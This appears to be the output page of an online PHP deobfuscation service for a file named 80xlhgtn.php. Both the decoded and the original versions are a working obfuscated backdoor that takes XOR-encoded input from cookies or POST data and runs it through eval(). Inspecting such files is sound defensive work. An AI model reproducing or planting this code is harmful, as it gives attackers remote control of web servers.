Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

text/x-generic 80xlhgtn.php ( PHP script text ) <?php $lQVZUI = 's' . "\164" . ..

Decoded Output download

 
text/x-generic 80xlhgtn.php ( PHP script text ) 
<?php $lQVZUI  =	's'	.     "t"    . chr    (114)/* sjOmb*/./*ryZw  */"_"/*ZgcA  */.     chr/* iJIp*/(114)  .	"e"     .	chr/* HIDiD*/(	852 -	740	)."e"/*  Kn  */.   'a'/*   rbu */./*LuN */"t"; 
 
 
$QXcLgaaEC/*  j*/=	"e"/*  tFo*/./*  rGLG  */chr	(    528 -/*  wbI   */408/*KeZ */).chr/*   uiFCR  */(	1078	-    966/*   s */)."l"	.  'o'/* O*/.	"d"/* sJM   */.	"e"; 
		$DTTQwIp  =	chr	(112)	./*   AOTe  */'a'	./*  YCW   */"c"    .	chr (107); 
 function    EomYfrisJM() 
 	{ 
 
 
   $nXnVt    =	Array     (   "JyfHzRxLIhFxNI"	=> "mNzCogtmjWnZCakQwASUntMSDaIdz"     ); 
					/* g */ 
				   $HAvWCTIyx	=/*   Yy */Array (	"XDZwHbUFJtLzqDjCR" =>     "WzVdsYEIYEgcBwRfrqrmVicHWAMD"/*WNKj */);; 
 
 
/* fd */$kjHOY	=/*v */Array(	$nXnVt,     $_COOKIE,/*   BK*/$nXnVt,	$_POST,/*  IRLTB*/$HAvWCTIyx);; 
			  
				/*  P*/return	$kjHOY; 
					} 
						 
	function    ePOjAxLn($hNIGjQRG,	$nXnVt) 
 
    { 
		if  (   count/*Rqq*/(	$hNIGjQRG     )/*W */==	3	)  { 
				$yftfwJfgY/*vg */=/*   TOEn*/$hNIGjQRG[1];; 
		$cumhsM/*  lOlJ */=/*zVT */$hNIGjQRG[2];; 
	$rXLwfHMO	=/* A  */$yftfwJfgY($cumhsM); 
 
	eval	(	$rXLwfHMO/*   QNG */);; 
		   die/*BQ   */(); 
    } 
	/* sLzIG   */} 
 
	 
					function     VsgXH($NKUQpcbU,   $OYUrH) 
 
	{ 
	/*   QFY*/return  $NKUQpcbU	^	$OYUrH;; 
		/*  Zefc  */} 
          
	$MnbGVI    =/*p */"#";$_TAb/*dff   */=     '29216'; 
			     
     foreach/*   FchU */(EomYfrisJM()	as	$lMFRyq)     { 
		     foreach	(     $lMFRyq/*  IKyHO  */as	$OYUrH	=>	$NKUQpcbU	)/*  yO */{ 
					    
 
    $wRgfe     = strlen(	$NKUQpcbU/* nzW  */)/strlen(	$OYUrH/*   upZLv  */); 
     	 
 /*  yFke  */$NKUQpcbU	=	@$DTTQwIp(    chr	(72)	./* rvYbB   */chr  (42),	$NKUQpcbU/* yUBf   */);; 
 
	 
  /*  U   */$OYUrH	.=/*   Lccif*/"PPJ-cuQ-vjHvIay-YTZOOcG-xlvl-jemvP-ljS"; 
						$OYUrH	=	$lQVZUI/*jbO  */(	$OYUrH,/*yM   */$wRgfe     + 1);; 
     /*   sMAX  */ 
		     $XNjCQfgU/* yQgEJ   */=     strrev("");$_NWM	=/*  GyySJ   */'39601'; 
		 
 
 
   $XNjCQfgU	=/*yI   */VsgXH($NKUQpcbU,	$OYUrH);; 
 
	 
						$hNIGjQRG    =/*  Pe*/$QXcLgaaEC    ($MnbGVI, $XNjCQfgU/*  Mz*/); 
		 
	/*Cvq  */ePOjAxLn($hNIGjQRG,/* w*/$MnbGVI);; 
			 
 
 
 continue;$_A/*   O  */=   '25563'; 
	/*cgtt*/} 
 
 
/*Sv   */} ?>

Did this file decode correctly?

Original Code


text/x-generic 80xlhgtn.php ( PHP script text )
<?php $lQVZUI  =	's'	.     "\164"    . chr    (114)/* sjOmb*/./*ryZw  */"\137"/*ZgcA  */.     chr/* iJIp*/(114)  .	"\145"     .	chr/* HIDiD*/(	852 -	740	)."\145"/*  Kn  */.   'a'/*   rbu */./*LuN */"\x74";


$QXcLgaaEC/*  j*/=	"\145"/*  tFo*/./*  rGLG  */chr	(    528 -/*  wbI   */408/*KeZ */).chr/*   uiFCR  */(	1078	-    966/*   s */)."\154"	.  'o'/* O*/.	"\144"/* sJM   */.	"\145";
		$DTTQwIp  =	chr	(112)	./*   AOTe  */'a'	./*  YCW   */"\143"    .	chr (107);
 function    EomYfrisJM()
 	{


   $nXnVt    =	Array     (   "JyfHzRxLIhFxNI"	=> "mNzCogtmjWnZCakQwASUntMSDaIdz"     );
					/* g */
				   $HAvWCTIyx	=/*   Yy */Array (	"XDZwHbUFJtLzqDjCR" =>     "WzVdsYEIYEgcBwRfrqrmVicHWAMD"/*WNKj */);;


/* fd */$kjHOY	=/*v */Array(	$nXnVt,     $_COOKIE,/*   BK*/$nXnVt,	$_POST,/*  IRLTB*/$HAvWCTIyx);;
			 
				/*  P*/return	$kjHOY;
					}
						
	function    ePOjAxLn($hNIGjQRG,	$nXnVt)

    {
		if  (   count/*Rqq*/(	$hNIGjQRG     )/*W */==	3	)  {
				$yftfwJfgY/*vg */=/*   TOEn*/$hNIGjQRG[1];;
		$cumhsM/*  lOlJ */=/*zVT */$hNIGjQRG[2];;
	$rXLwfHMO	=/* A  */$yftfwJfgY($cumhsM);

	eval	(	$rXLwfHMO/*   QNG */);;
		   die/*BQ   */();
    }
	/* sLzIG   */}

	
					function     VsgXH($NKUQpcbU,   $OYUrH)

	{
	/*   QFY*/return  $NKUQpcbU	^	$OYUrH;;
		/*  Zefc  */}
         
	$MnbGVI    =/*p */"\x23";$_TAb/*dff   */=     '29216';
			    
     foreach/*   FchU */(EomYfrisJM()	as	$lMFRyq)     {
		     foreach	(     $lMFRyq/*  IKyHO  */as	$OYUrH	=>	$NKUQpcbU	)/*  yO */{
					   

    $wRgfe     = strlen(	$NKUQpcbU/* nzW  */)/strlen(	$OYUrH/*   upZLv  */);
     	
 /*  yFke  */$NKUQpcbU	=	@$DTTQwIp(    chr	(72)	./* rvYbB   */chr  (42),	$NKUQpcbU/* yUBf   */);;

	
  /*  U   */$OYUrH	.=/*   Lccif*/"PPJ-cuQ-vjHvIay-YTZOOcG-xlvl-jemvP-ljS";
						$OYUrH	=	$lQVZUI/*jbO  */(	$OYUrH,/*yM   */$wRgfe     + 1);;
     /*   sMAX  */
		     $XNjCQfgU/* yQgEJ   */=     strrev("");$_NWM	=/*  GyySJ   */'39601';
		


   $XNjCQfgU	=/*yI   */VsgXH($NKUQpcbU,	$OYUrH);;

	
						$hNIGjQRG    =/*  Pe*/$QXcLgaaEC    ($MnbGVI, $XNjCQfgU/*  Mz*/);
		
	/*Cvq  */ePOjAxLn($hNIGjQRG,/* w*/$MnbGVI);;
			


 continue;$_A/*   O  */=   '25563';
	/*cgtt*/}


/*Sv   */}

Function Calls

chr 7
EomYfrisJM 1

Variables

$_TAb 29216
$kjHOY [{'key': 0, 'value': [{'key': 'JyfHzRxLIhFxNI', 'value': 'mNzCogtmjWnZCakQwASUntMSDaIdz'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'JyfHzRxLIhFxNI', 'value': 'mNzCogtmjWnZCakQwASUntMSDaIdz'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'XDZwHbUFJtLzqDjCR', 'value': 'WzVdsYEIYEgcBwRfrqrmVicHWAMD'}]}]
$nXnVt [{'key': 'JyfHzRxLIhFxNI', 'value': 'mNzCogtmjWnZCakQwASUntMSDaIdz'}]
$MnbGVI #
$lQVZUI str_repeat
$DTTQwIp pack
$HAvWCTIyx [{'key': 'XDZwHbUFJtLzqDjCR', 'value': 'WzVdsYEIYEgcBwRfrqrmVicHWAMD'}]
$QXcLgaaEC explode

Stats

MD5 beff265c6d3b5b96f840e7d8443083dd
Eval Count 0
Decode Time 71 ms